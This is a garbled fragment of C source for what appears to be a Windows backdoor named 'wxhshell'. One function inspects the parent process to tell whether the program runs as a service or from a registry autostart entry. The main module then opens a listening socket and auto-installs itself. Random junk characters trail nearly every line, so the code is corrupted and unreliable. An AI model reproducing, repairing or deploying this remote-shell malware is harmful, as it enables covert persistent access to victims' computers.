ULONG UniqueProcessId; i<:p.ug-O
ULONG InheritedFromUniqueProcessId; |BJqy/
} PROCESS_BASIC_INFORMATION;
^@q#$/z
x^2 W?<
PROCNTQSIP NtQueryInformationProcess; %c0z)R~
W?PWJkIw
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %MNk4UsV
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !rHx}n{rw
[tN` :}?
HANDLE hProcess; .\4l'THn,0
PROCESS_BASIC_INFORMATION pbi; yM17H\ =
>Fh#DmQ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IDmsz
if(NULL == hInst ) return 0; ylim/`u}6
y*|L:!
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); th Q J(w
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J(hA^;8:
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;(`e^IVf
yjv&4pIc1
if (!NtQueryInformationProcess) return 0; ]j1
vbk
=VCQ*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C$ hQN
if(!hProcess) return 0; %xh?!s|G(
*s36OF!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TRCI\
cS
4T\{B;
CloseHandle(hProcess); kpWzMd &RK
2b~
HHVruX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -PXoMZx%
if(hProcess==NULL) return 0; :4] J2U\@
Wa{%0inZ
HMODULE hMod; F b2p(.
char procName[255]; #O><A&FrF`
unsigned long cbNeeded; {)uU6z
{'
( w5f(4
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E7gL~4I
`M6YblnJZ
CloseHandle(hProcess); Ki63Ox^O
2gH_$
if(strstr(procName,"services")) return 1; // 以服务启动 >Ban?3{
lnjL7x
return 0; // 注册表启动 >z5Oy
} KDX$.$#
$oc9
|Q 7
// 主模块 ` )]lUvR
int StartWxhshell(LPSTR lpCmdLine) !&\meS{
{ WySNL#>a
SOCKET wsl; +!G4tA$g
BOOL val=TRUE; "W3W:vl!
int port=0; 9Dy)nm^
struct sockaddr_in door; HmFNE$k
t+jIHo
if(wscfg.ws_autoins) Install(); M;V&